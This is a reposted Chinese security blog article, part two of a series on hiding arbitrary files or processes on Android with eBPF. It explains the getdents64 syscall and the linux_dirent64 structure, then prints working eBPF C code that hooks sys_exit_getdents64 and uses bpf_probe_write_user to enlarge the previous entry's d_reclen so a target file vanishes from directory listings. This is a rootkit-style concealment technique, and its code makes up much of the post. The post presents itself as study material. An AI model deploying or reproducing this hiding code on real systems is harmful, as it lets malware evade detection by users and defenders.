ebpf 隐藏 Android 任意进程或任意文件实现连载 (二)

admin 2023年6月15日11:28:42评论41 views字数 3952阅读13分10秒阅读模式

ebpf 隐藏 Android 任意进程或任意文件实现连载 (二)

本章内容分析将提前引入对 getdents64系统调用的知识点学习,理解他的某些结构信息后有助于我们后面的程序逻辑实现的理解。

一、内容介绍:

后面代码块的内容会依赖于所理解的知识,并对隐藏目标文件有原理上的认识。

# getdents64 系统方法原型
ssize_t getdents64(int fd, void *dirp, size_t count);

二、getdents64 参数分析

getdents64 方法参数信息内存状态展示图(第二个和第三个参数)

ebpf 隐藏 Android 任意进程或任意文件实现连载 (二)

下面将对图片信息进行分析,用以了解 getdents64 方法的参数信息结构。

  • void *dirp  : 地址指向着getdents64方法成功执行后,当前目录下所有文件的 linux_dirent64结构体信息,他是一个连续的保存的格式每一个文件的首地址是上一个文件的结束地址。

  • 文件B :这里以 文件B 为例,其他同理。他的本身是个 linux_dirent64结构体,结构体中的成员,我们必须关心的是 d_reclen d_type d_name 三个成员变量

    struct linux_dirent64 {
    u64 d_ino;
    s64 d_off;
    short unsigned int d_reclen;   //当前文件的长度
    unsigned char d_type;    //当前文件的名字
    char d_name[0];     //当前文件的名字
    };
  • B的地址 :保存着 文件B 他在内存中的地址,意味着我们可以通过这个地址,拿到 文件B 的 linux_dirent64结构体对象,也意味着我们可以通过 文件B 的地址加上 他的 d_reclen(A的长度) 的值,得到下一个文件的首地址,这点在上一章的c代码中遍历当前目录下所有文件的代码部分已经实现。片段如下:

    for (int i = 0; i < 50; i ++) {  //自定义的循环次数,大于当前目录下文件总数量即可
       //如果计数超过了总大小,说明目录已经被遍历完了
       if (bpos >= dirp_size) {
           break;
      }
       //每次循环后,buff_addr 地址需要进行递增,用于指向当前目录中的 下一个 文件的首地址
       dirp = (struct linux_dirent64 *)(buff_addr+bpos);  
       //从当前遍历的文件的结构体对象中取出 当前文件在内存中的大小
       bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);  
       //从结构体中取出 当前文件名称 长度大于当前目录下名字长度最大的文件即可
       long err = bpf_probe_read_user(&filename, 128, &dirp->d_name);  
       //如果当前文件名字获取失败
       if (err !=0)
      {
           //递增bpos 计数器,为获取下一个文件做准备
           bpos +=d_reclen;
           continue;
      }
       bpf_probe_read_user(&d_type, sizeof(d_type), &dirp->d_type);   //拿到当前文件的类型 分为 目录/文件
       int j = 0;
       //当前文件名 和我传入的文件名进行比较,判断是否是我要修改的文件   text_to_hide 变量被用户态程序提前赋值过
       for (j = 0; j < text_to_hide_len; j++) {
           if (filename[j] != text_to_hide[j]) {
               break;
          }
      }
       // 如果字符串比较相同的数量大于等于我要修改的文件名称,直接触发尾调用,结束当前程序模块
       if (j >= text_to_hide_len) {
          .......// 省略
               //触发尾调用,执行真正的修改数据的程序
               bpf_tail_call(ctx, &map_prog_array, PROG_02);
      }
       //保存当前目录下刚刚比较过的条目到 maps
       long err1 = bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY);
       //遍历完毕后递增地址
       bpos += d_reclen;
    }
  • getdents64 第三个参数 他保存着方法在读取当前目录下所有文件成功后,这些文件所占的内存的总和,所以在上方代码段中开头部分使用到了如下判断

if (bpos >= dirp_size) {   

 //bpos 递增总量大于等于数据大小总和,则说明文件遍历完成,退出 for 循环

  break;
}

综合上方内容分析,我们可以拿到每一个 文件的 linux_dirent64 结构体信息,并对任意一个结构体在内存中数据信息进行修改,达到我们想要的效果,接下来我将使用更改 目标文件的上一个文件的 d_reclen(内存中的长度),来覆盖 目标文件所在的地址的结构体的长度的位置,达到隐藏指定文件的目的


三、隐藏指定文件的实现

内存被修改后的数据结构展示图

ebpf 隐藏 Android 任意进程或任意文件实现连载 (二)


  • 图片中的例子,展示了我通过一些方法将 文件A  的 linux_dirent64 结构体所占的内存的长度 d_reclen 进行了加长,覆盖到了 文件B 所占的 d_reclen 长度加上 B的地址 的位置,也就是到了 文件C 所在的指针地址,这样当 getdents64 取到数据后返回给应用程序后,用用程序会解析这个连续的内存空间的数据,相当于跳过了 文件B ,直接读取到了 文件C ,从而达到了隐藏 文件B 的目的。

  • 经过上方的原理的分析,下面,我将进行代码的实现,在上一章节中程序中已经成功的过滤到了目标文件的上一个文件对象的结构体,下面的代码将进行逻辑的复现。


四、代码逻辑的复现

  • 代码块的探测点重复使用了 sys_exit_getdents64  这并不会造成冲突,但是同时下方代码块使用了尾调用来执行。理论上在开发过程中下方代码可以和上一节代码放到同一个代码块,考虑到每个 ebpf程序 被编译后他的 ebpf字节码 数量不可超过 100万个,这里选择单独去编写

  • 代码逻辑的流程描述:

    1. 从maps 中取出目标文件的上一个文件地址

    2. 计算出目标文件的地址

    3. 拿 上一个文件长度+目标文件长度 = 需要修改的长度

    4. 将 上一个文件的长度 修改尾 需要修改的长度

SEC("tp/syscalls/sys_exit_getdents64")
int handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)
{
   size_t pid_tgid = bpf_get_current_pid_tgid();
   // 通过进程号 取出maps 中保存的目标文件的上一个文件的地址,并进行过滤
   long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid);
   if (pbuff_addr == 0) {
       return 0;
  }
//取出上一个文件的真实的地址
   long unsigned int buff_addr = *pbuff_addr;
   //将上一个文件地址转换成 linux_dirent64 结构体
   struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr;  
   short unsigned int d_reclen_previous = 0;
   //取出上一个文件结构所占内存大小,用于修改它的大小,并覆盖目标文件所占的空间
   bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen);
//取出目标文件 的地址并转换成 `linux_dirent64` 结构体 使用了,上一个文件的地址+自身的长度=目标文件的地址
   struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous);  
   short unsigned int d_reclen = 0;
   //取出目标文件的长度
   bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen);
   // 上一个文件的长度 + 目标的长度 = 被修改的长度
   short unsigned int d_reclen_new = d_reclen_previous + d_reclen;
   //最后将被修改的长度,写入到上一个文件结构体变量 d_reclen
   long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new));
   /**
    * 目录下的 linux_dirent64 结构体是连续性存在的,应用程序读取他,是根据每一个结构体的长度,找到下一个条目的地址才能连续的拿到所有的文件,如果修改了某一个条目的结构体长度后,应用在获取到某一个结构体
    * 的长度后,再获取下一个条目对象,会变成修改长度后所指定的条目对象
   */
   return 0;
}


五、总结

在理解清楚图片想表达的意思后,代码实现还是比较容易的,最终效果就如视频中演示的那样。当然整套代码的实现难免会有些 bug 但是好处是没有多余的代码,逻辑清晰,非常有利于学习研究,可以以此为基础,自行扩展各种功能实现。


原文始发于微信公众号(None安全团队):ebpf 隐藏 Android 任意进程或任意文件实现连载 (二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月15日11:28:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ebpf 隐藏 Android 任意进程或任意文件实现连载 (二)https://cn-sec.com/archives/1805445.html

发表评论

匿名网友 填写信息